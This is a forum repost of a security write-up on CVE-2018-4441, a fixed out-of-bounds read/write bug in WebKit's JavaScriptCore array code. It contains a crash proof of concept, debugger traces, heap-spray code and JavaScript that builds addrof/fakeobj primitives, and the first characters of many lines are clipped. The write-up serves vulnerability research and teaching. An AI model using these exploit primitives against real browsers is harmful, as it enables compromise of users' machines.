

- 
- 
- 
- 
- 



Romanian Security Team
Security research

Home

Sectiunea tehnica

Reverse engineering & exploit development

CVE-2018-4441: OOB R/W via JSArray::unshift



CVE-2018-4441: OOB R/W via JSArray::unshiftCountWithArrayStorage (WebKit)

By Nytro, February 27, 2019 in Reverse engineering & exploit development

Reply to this topic



CVE-2018-4441: OOB R/W via JSArray::unshiftCountWithArrayStorage (WebKit)

Posted

February

27, 2019

In this write-up, we'll be going through the ins and outs of [CVE-2018-4441](#), which was reported by [lokihardt](#) of Google Project Zero.

Overview

```
bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStor
```

```
    unsigned oldLength = storage->length();  
    RELEASE_ASSERT(count <= oldLength);
```

```
// If the array contains holes or is otherwise in an abnormal state,  
// use the generic algorithm in ArrayPrototype.
```

```
if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this))  
    || hasSparseMap()  
    || shouldUseSlowPut(indexingType())) {
```

```

        return false;
    }

    if (!oldLength)
        return true;

    unsigned length = oldLength - count;

    storage->m_numValuesInVector -= count;
    storage->setLength(length);

    // [...]

```

Considering the comment, I think the method is supposed to prevent an array with holes from going through to the code “storage->m_numValuesInVector -= count”. But that kind of arrays actually can get there by only having the holesMustForwardToPrototype method return false. Unless the array has any indexed accessors on it or Proxy objects in the prototype chain, the method will just return false. So “storage->m_numValuesInVector” can be controlled by the user. In the PoC, it changes m_numValuesInVector to 0xffffffff0 that equals to the new length, making the hasHoles method return false, leading to OOB reads/writes in the JSArray::unshiftCountWithArrayStorage method.

oC

```

unction main() {
    // [1]
    let arr = [1];
    // [2]
    arr.length = 0x100000;
    // [3]
    arr.splice(0, 0x11);
    // [4]
    arr.length = 0xffffffff0;
    // [5]
    arr.splice(0xffffffff0, 0, 1);

```

```

ain();

```

Root Cause Analysis

Running the PoC inside a debugger we see that the binary crashes while trying to write in non-writable memory (EXC_BAD_ACCESS 😞)

```

lldb) r
Process 3018 launched: './jsc' (x86_64)
Process 3018 stopped

```

```

thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0x1
  frame #0: 0x0000000100af8cd3 JavaScriptCore`JSC::JSArray::unshiftCountWithArrayStorage(JSC:
avaScriptCore`JSC::JSArray::unshiftCountWithArrayStorage:
> 0x100af8cd3 <+675>: movq    $0x0, 0x10(%r13,%rdi,8)
    0x100af8cdc <+684>: incq    %rcx
    0x100af8cdf <+687>: incq    %rdx
    0x100af8ce2 <+690>: jne     0x100af8cd0 ; <+672>
araget 0: (jsc) stopped.

```

```

lldb) p/x $r13
unsigned long) $4 = 0x000000010000fe6a8

```

```

lldb) p/x $rdi
unsigned long) $5 = 0x00000000ffffffff0

```

```

lldb) memory region $r13+($rdi*8)
0x000000017fa80000-0x0000000180280000) ---

```

```

lldb) bt
thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0x1
* frame #0: 0x0000000100af8cd3 JavaScriptCore`JSC::JSArray::unshiftCountWithArrayStorage(JSC:
  frame #1: 0x0000000100af8fc7 JavaScriptCore`JSC::JSArray::unshiftCountWithAnyIndexingType(J
  frame #2: 0x0000000100a6a1d5 JavaScriptCore`void JSC::unshift<(JSC::JSArray::ShiftCountMode
  frame #3: 0x0000000100a61c4b JavaScriptCore`JSC::arrayProtoFuncSplice(JSC::ExecState*) + 42
  [...]

```

```

0x0000000100af8cd3 JavaScriptCore`JSC::JSArray::unshiftCountWithArrayStorage

```

here it tries to clear (zero-initialize) the added vector's elements:

```

/ [...]

```

```

or (unsigned i = 0; i < count; i++)
    vector[i + startIndex].clear();

```

```

/ [...]

```

startIndex (\$rdi) is 0xffffffff0, vector (\$r13) points to 0x10000fe6a8 and the resulting offset leads to a non-writable address, hence the crash.

POC Analysis

```

/ [1]
let arr = [1]
/ - Object @ 0x107bb4340
/ - Butterfly @ 0x10000fe6b0
/ - Type: ArrayWithInt32
/ - public length: 1
/ - vector length: 1

```

initially, create an array of type `ArrayWithInt32`. It can hold any kind of elements (such as objects or doubles) but it still doesn't have an associated [ArrayStorage](#) or holes. The WebKit project gives a [nice overview](#) of the different array storage methods. In short, a `JSArray` without an `ArrayStorage` will have a butterfly structure of the following form:

```
--=[ JSArray
```

```
lldb) x/2gx -11 0x107bb4340
x107bb4340: 0x0108211500000062 <--- JSC::JSCell [*]
x107bb4348: 0x00000010000fe6b0 <--- JSC::AuxiliaryBarrier<JSC::Butterfly *> m_butterfly

+0 { 16} JSArray
+0 { 16}      JSC::JSNonFinalObject
+0 { 16}      JSC::JSObject
*) 01 08 21 15 00000062 +0 { 8}      JSC::JSCell
    | | | | | +0 { 1}      JSC::HeapCell
    | | | | +-----+ +0 < 4>      JSC::StructureID m_structureID;
    | | | +-----+ +4 < 1>      JSC::IndexingType m_indexingTypeAndMisc;
    | | +-----+ +5 < 1>      JSC::JSType m_type;
    | +-----+ +6 < 1>      JSC::TypeInfo::InlineTypeFlags m_flags;
    +-----+ +7 < 1>      JSC::CellState m_cellState;
    +8 < 8>      JSC::AuxiliaryBarrier<JSC::Butterfly *> m_butterfly
    +8 < 8>      JSC::Butterfly * m_value;
```

```
--=[ Butterfly
```

```
lldb) x/2gx -11 0x00000010000fe6b0-8
x10000fe6a8: 0x0000000100000001 <--- JSC::IndexingHeader [*]
x10000fe6b0: 0xffff000000000001 <--- arr[0]
x10000fe6b8: 0x00000000badbeef0 <--- JSC::Scribble (uninitialized memory)
```

```
*) 00000001 00000001
    |      |
    |      +-----+ uint32_t JSC::IndexingHeader.u.lengths.publicLength
    +-----+ uint32_t JSC::IndexingHeader.u.lengths.vectorLength
```

```
/ [2]
rr.length = 0x100000
/ - Object @ 0x107bb4340
/ - Butterfly @ 0x10000fe6e8
/ - Type: ArrayWithArrayStorage
/ - public length: 0x100000
/ - vector length: 1
/ - m_numValuesInVector: 1
```

Next, [set its length](#) to `0x100000` and transition the array to an `ArrayWithArrayStorage`. Actually, setting the length of an array to anything greater than or equal to [MIN_SPARSE_ARRAY_INDEX](#) would transform it to

rrayWithArrayStorage. Additionally, just notice how the butterfly of an array with ArrayStorage points to the ArrayStorage instead of the first index of the array.

```
-==[[ Butterfly
```

```
lldb) x/5gx -11 0x000000010000fe6e8-8
```

```
x10000fe6e0: 0x00000000100100000 <--- JSC::IndexingHeader
x10000fe6e8: 0x0000000000000000 \___ JSC::ArrayStorage [*]
x10000fe6f0: 0x00000000100000000 /
x10000fe6f8: 0xffff000000000001 <--- m_vector[0], arr[0]
x10000fe700: 0x00000000badbeef0 <--- JSC::Scribble (uninitialized memory)
```

```

                                +0 { 24} ArrayStorage
*] 0000000000000000 --- +0 < 8> JSC::WriteBarrier<JSC::SparseArrayValueMap, WTF::DumbPt
    00000000100000000 +0 { 8} JSC::WriteBarrierBase<JSC::SparseArrayValueMap, WTF
    | | +0 < 8> JSC::WriteBarrierBase<JSC::SparseArrayValueMap,
    | +----- +8 < 4> unsigned int m_indexBias;
    +----- +12 < 4> unsigned int m_numValuesInVector;
                                +16 < 8> JSC::WriteBarrier<JSC::Unknown, WTF::DumbValueTraits<JS
```

```
/ [3]
rr.splice(0, 0x11)
/ - Object @ 0x107bb4340
/ - Butterfly @ 0x10000fe6e8
/ - Type: ArrayWithArrayStorage
/ - public length: 0xffffef
/ - vector length: 1
/ - m_numValuesInVector: 0xffffffff0
```

avaScriptCore implements splice using shift and unshift operations and decides between the two based on itemCount and actualDeleteCount.

```
ncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
```

```
// [...]
```

```
unsigned actualStart = argumentClampedIndexFromStartOrEnd(exec, 0, length);
```

```
// [...]
```

```
unsigned actualDeleteCount = length - actualStart;
if (exec->argumentCount() > 1) {
    double deleteCount = exec->uncheckedArgument(1).toInteger(exec);
    RETURN_IF_EXCEPTION(scope, encodedJSValue());
    if (deleteCount < 0)
        actualDeleteCount = 0;
    else if (deleteCount > length - actualStart)
```

```

        actualDeleteCount = length - actualStart;
    else
        actualDeleteCount = static_cast<unsigned>(deleteCount);
}

// [...]

unsigned itemCount = std::max<int>(exec->argumentCount() - 2, 0);
if (itemCount < actualDeleteCount) {
    shift<JSArray::ShiftCountForSplice>(exec, thisObj, actualStart, actualDeleteCount, item
    RETURN_IF_EXCEPTION(scope, encodedJSValue());
} else if (itemCount > actualDeleteCount) {
    unshift<JSArray::ShiftCountForSplice>(exec, thisObj, actualStart, actualDeleteCount, it
    RETURN_IF_EXCEPTION(scope, encodedJSValue());
}

// [...]

```

thus, calling splice with itemCount < actualDeleteCount will eventually invoke JSArray::shiftCountWithArrayStorage.

```

ool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStor

// [...]

// If the array contains holes or is otherwise in an abnormal state,
// use the generic algorithm in ArrayPrototype.
if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this))
    || hasSparseMap()
    || shouldUseSlowPut(indexingType())) {
    return false;
}

// [...]

storage->m_numValuesInVector -= count;

// [...]

```

As it is also mentioned in the original bug report, assuming the array has neither indexed accessors nor any proxy objects in the prototype chain, holesMustForwardToPrototype will return false and storage->m_numValuesInVector -= count will be called. In our case, count is equal to 0x11 and prior to the subtraction m_numValuesInVector is equal to 1, resulting in 0xffffffff0 as the final value.

```

/ [4]
rr.length = 0xffffffff0
/ - Object @ 0x107bb4340
/ - Butterfly @ 0x10000fe6e8
/ - Type: ArrayWithArrayStorage
/ - public length: 0xffffffff0
/ - vector length: 1
/ - m_numValuesInVector: 0xffffffff0

```

At this point the value of `m_numValuesInVector` is under control. By setting the `publicLength` of the array to the value of `m_numValuesInVector`, `hasHoles` can be controlled as well.

```

bool hasHoles() const

    return m_numValuesInVector != length();

```

It is worth mentioning that our control over `m_numValuesInVector` is very limited and is tightly related to the OOB read/write that will be discussed in more detail later.

```

/ [5]
rr.splice(0xffffffff0, 0, 1)

```

Finally `splice` is called with `itemCount > actualDeleteCount` in order to trigger `unshift` instead of `shift`. `hasHoles` returns `false` and we get OOB r/w in `JSArray::unshiftCountWithArrayStorage`.

Exploitation

Our plan is to leverage `memmove` in `JSArray::unshiftCountWithArrayStorage` into achieving [addrof](#) and [ikeobj](#) primitives. But before we do that, we have to set out an overall plan. There are three if-cases before the `memmove` call.

```

bool JSArray::unshiftCountWithArrayStorage(ExecState* exec, unsigned startIndex, unsigned count

    // [...]

    bool moveFront = !startIndex || startIndex < length / 2;

    // [1]
    if (moveFront && storage->m_indexBias >= count) {
        Butterfly* newButterfly = storage->butterfly()->unshift(structure(vm), count);
        storage = newButterfly->arrayStorage();
        storage->m_indexBias -= count;
        storage->setVectorLength(vectorLength + count);
        setButterfly(vm, newButterfly);
    } else if (!moveFront && vectorLength - length >= count)
        storage = storage->butterfly()->arrayStorage();
    // [3]

```

```

else if (unshiftCountSlowCase(locker, vm, deferGC, moveFront, count))
    storage = arrayStorage();
else {
    throwOutOfMemoryError(exec, scope);
    return true;
}

WriteBarrier<Unknown>* vector = storage->m_vector;

if (startIndex) {
    if (moveFront)
        // [4]
        memmove(vector, vector + count, startIndex * sizeof(JSValue));
    else if (length - startIndex)
        // [5]
        memmove(vector + startIndex + count, vector + startIndex, (length - startIndex) * s
}

// [...]

```

Initially, we discarded case [1] and [3] since they'll reallocate the current butterfly, leading to what we (wrongfully) assumed an unreliable memmove due to the fact that we can't predict (turns out we can) where will the newly allocated butterfly land. With that in mind, we moved on with [2], but quickly stumbled upon a dead-end.

If we were to take that route, we'd have to make moveFront false. To do that, startIndex has to be non-zero and greater than or equal to length/2. This ends up being a bummer because [4] will copy **at least** length/2 * 8 bytes. That's a pretty gigantic number if you recall how we got to that code path in the first place. To cut to the chase, right after the memmove call we got a crash. We didn't investigate the root cause any further, but once we memmove a big amount of memory, we believe some objects/structures adjacent to the butterfly are corrupted. Maybe by spraying a bunch of 0x100000 size JSArrays you could get around that, maybe not. We thought it was too dirty and abandoned the idea.

Spray to slay

At that point, we decided to browse through older exploits. [niklasb](#) came to the rescue with his [exploit](#). In short, his code makes holes of certain size objects in the heap and reliably allocates them back. That felt ideal

```

let SPRAY_SIZE = 0x3000;

// [a]
let spray = new Array(SPRAY_SIZE);

// [b]
for (let i = 0; i < 0x3000; i += 3) {

```



```
// ArrayWithDouble, will allocate 0x60, will be free'd
spray[i] = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,i];
// arrayWithContiguous, will allocate 0x60, will be corrupted for fakeobj
spray[i+1] = [{},{},{},{},{},{},{},{},{},{}];
// arrayWithDouble, will allocate 0x60, will be corrupted for addrof
spray[i+2] = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,i];

/ [c]
or (let i = 0; i < 1000; i += 3)
    spray[i] = null;

/ [d]
c();

/ [e]
or (let i = 0; i < SPRAY_SIZE; i += 3)
    // corrupt butterfly's length field
    spray[i+1][0] = i2f(1337)
```

```

...
0x0000: 0x00000000d0000000a -----+
0x0000: 0x402abd70a3d70a3d          |
0x0008: 0x402abd70a3d70a3d          |
0x0010: 0x402abd70a3d70a3d          |
0x0018: 0x402abd70a3d70a3d          |
0x0020: 0x402abd70a3d70a3d          | spray[i], ArrayWithDouble
0x0028: 0x402abd70a3d70a3d          |
0x0030: 0x402abd70a3d70a3d          |
0x0038: 0x402abd70a3d70a3d          |
0x0040: 0x402abd70a3d70a3d          |
0x0048: 0x402abd70a3d70a3d -----+
...
0x0068: 0x00000000d0000000a -----+
0x0070: 0x00007fffaf7c83c0          |
0x0078: 0x00007fffaf7b0080          |
0x0080: 0x00007fffaf7b00c0          |

```

```

0x0088: 0x00007ffffaf7b0100      |
0x0090: 0x00007ffffaf7b0140      | spray[i+1], ArrayWithContiguous
0x0098: 0x00007ffffaf7b0180      |
0x00a0: 0x00007ffffaf7b01c0      |
0x00a8: 0x00007ffffaf7b0200      |
0x00b0: 0x00007ffffaf7b0240      |
0x00b8: 0x00007ffffaf7b0280 -----+
...
0x00d8: 0x0000000d0000000a -----+
0x00e0: 0x402abd70a3d70a3d      |
0x00e8: 0x402abd70a3d70a3d      |
0x00f0: 0x402abd70a3d70a3d      |
0x00f8: 0x402abd70a3d70a3d      |
0x0100: 0x402abd70a3d70a3d      | spray[i+2], ArrayWithDouble
0x0108: 0x402abd70a3d70a3d      |
0x0110: 0x402abd70a3d70a3d      |
0x0118: 0x402abd70a3d70a3d      |
0x0120: 0x402abd70a3d70a3d      |
0x0128: 0x402abd70a3d70a3d -----+
...

```

he goal of [c] and [d] is to land a reallocated butterfly at spray. *Note we have control of both startIndex and count. startIndex represents the index where we want to start adding/deleting elements and count represents the actual number of added elements. For instance, arr.splice(1000, 1, 1, 1) gives a startIndex of 1000 and a count of 1 (if you think about it, we delete 1 element and add [1,1], essentially adding one element).*

deed, it'd be quite convenient if we landed that idea. In particular, with those numbers at hand, the memmove call at [4] translates to this:

```

/ [...]

writeBarrier<Unknown>* vector = storage->m_vector;

f (1000) {
    if (1)
        memmove(vector, vector + 1, 1000 * sizeof(JSValue));

/ [...]

```

essentially, we'll be moving memory "backwards". For example, assuming butterfly::tryCreateUninitialized returns spray[6], then you can think of [4] as:

```

for (j = 0; j < startIndex; i++)
    spray[6][j] = spray[6][j+1];

```

this is how we'll overwrite the Length header field of the adjacent array's butterfly, leading to an OOB and finally to a sweet addrof/fakeobj primitive. This is how the memory looks like right before [4]:

```

...
0x0000: 0x00000000badbeef0 <--- vector
0x0008: 0x0000000000000000
0x0010: 0x00000000badbeef0
0x0018: 0x00000000badbeef0
0x0020: 0x00000000badbeef0
      |vectlen| |publen|
0x0028: 0x0000000d0000000a -----+
0x0030: 0x00010000000000539          |
0x0038: 0x00007ffffaf734dc0          |
0x0040: 0x00007ffffaf734e00          |
0x0048: 0x00007ffffaf734e40          |
0x0050: 0x00007ffffaf734e80          spray[688]
0x0058: 0x00007ffffaf734ec0          |
0x0060: 0x00007ffffaf734f00          |
0x0068: 0x00007ffffaf734f40          |
0x0070: 0x00007ffffaf734f80          |
0x0078: 0x00007ffffaf734fc0 -----+
...
0x0098: 0x0000000d0000000a -----+
0x00a0: 0x402abd70a3d70a3d          |
0x00a8: 0x402abd70a3d70a3d          |
0x00b0: 0x402abd70a3d70a3d          |
0x00b8: 0x402abd70a3d70a3d          |
0x00c0: 0x402abd70a3d70a3d          spray[689]
0x00c8: 0x402abd70a3d70a3d          |
0x00d0: 0x402abd70a3d70a3d          |
0x00d8: 0x402abd70a3d70a3d          |
0x00e0: 0x402abd70a3d70a3d          |
0x00e8: 0x4085e2f5c28f5c29 -----+
...

```

nd here's the aftermath. Pay close attention to spray[688]'s vectorLength and publicLength fields:

```

...
0x0020: 0x0000000d0000000a
      |vectlen| |publen|
0x0028: 0x00010000000000539 -----+
0x0030: 0x00007ffffaf734dc0          |
0x0038: 0x00007ffffaf734e00          |
0x0040: 0x00007ffffaf734e40          |
0x0048: 0x00007ffffaf734e80          |
0x0050: 0x00007ffffaf734ec0          spray[688]
0x0058: 0x00007ffffaf734f00          |
0x0060: 0x00007ffffaf734f40          |
0x0068: 0x00007ffffaf734f80          |
0x0070: 0x00007ffffaf734fc0          |

```

0x0078: 0x0000000000000000 -----+

...

We've successfully overwritten `spray[688]`'s length. It's pretty much game over.

ddrof and fakeobj

```
et oob_boxed = spray[688]; // ArrayWithContiguous
et oob_unboxed = spray[689]; // ArrayWithDouble

et stage1 = {
  addrof: function(obj) {
    oob_boxed[14] = obj;
    return f2i(oob_unboxed[0]);
  },

  fakeobj: function(addr) {
    oob_unboxed[0] = i2f(addr);
    return oob_boxed[14];
  },

  test: function() {
    var addr = this.addrof({a: 0x1337});
    var x = this.fakeobj(addr);
    if (x.a != 0x1337) {
      fail(1);
    }
    print('[+] Got addrof and fakeobj primitives \\o/');
  }
}
```

We'll use `oob_boxed`, whose length we overwrote, to write an object's address inside `oob_unboxed`, in order to construct our `addrof` primitive and lastly use `oob_unboxed` to place arbitrary addresses in it and be able to interpret them as objects via `oob_boxed`.

The rest of the exploit is plug n' play code used in almost every exploit; Spraying structures and using named properties for arbitrary read/write. [w00dl3cs](#) has done a great job explaining that part [here](#) so we'll leave it at that.

Conclusion

VE-2018-4441 was fixed in commit [51a62eb53815863a1bd2dd946d12f383e8695db0](#). We'll release our exploit shortly after we clean it up a bit. If you have any questions/suggestions, feel free to [contact us](#) on twitter.

References

- [Attacking JavaScript Engines](#)

[stanceof exploit write-up by w00dl3cs array overflow exploit by niklasb](#)

ursa: <https://melligra.fun/webkit/2019/02/15/cve-2018-4441/>

▪ Quote

Join the conversation

You can post now and register later. If you have an account, [sign in now](#) to post with your account.

💬 Reply to this topic...

Followers 0

< Go to topic listing

in    

Home

Sectiunea tehnica

Reverse engineering & exploit development

CVE-2018-4441: OOB R/W via JSArray



IPS Theme by IPSFocus Theme ▼ Privacy Policy Contact Us

© Romanian Security Team 2006-2020

Powered by Invision Community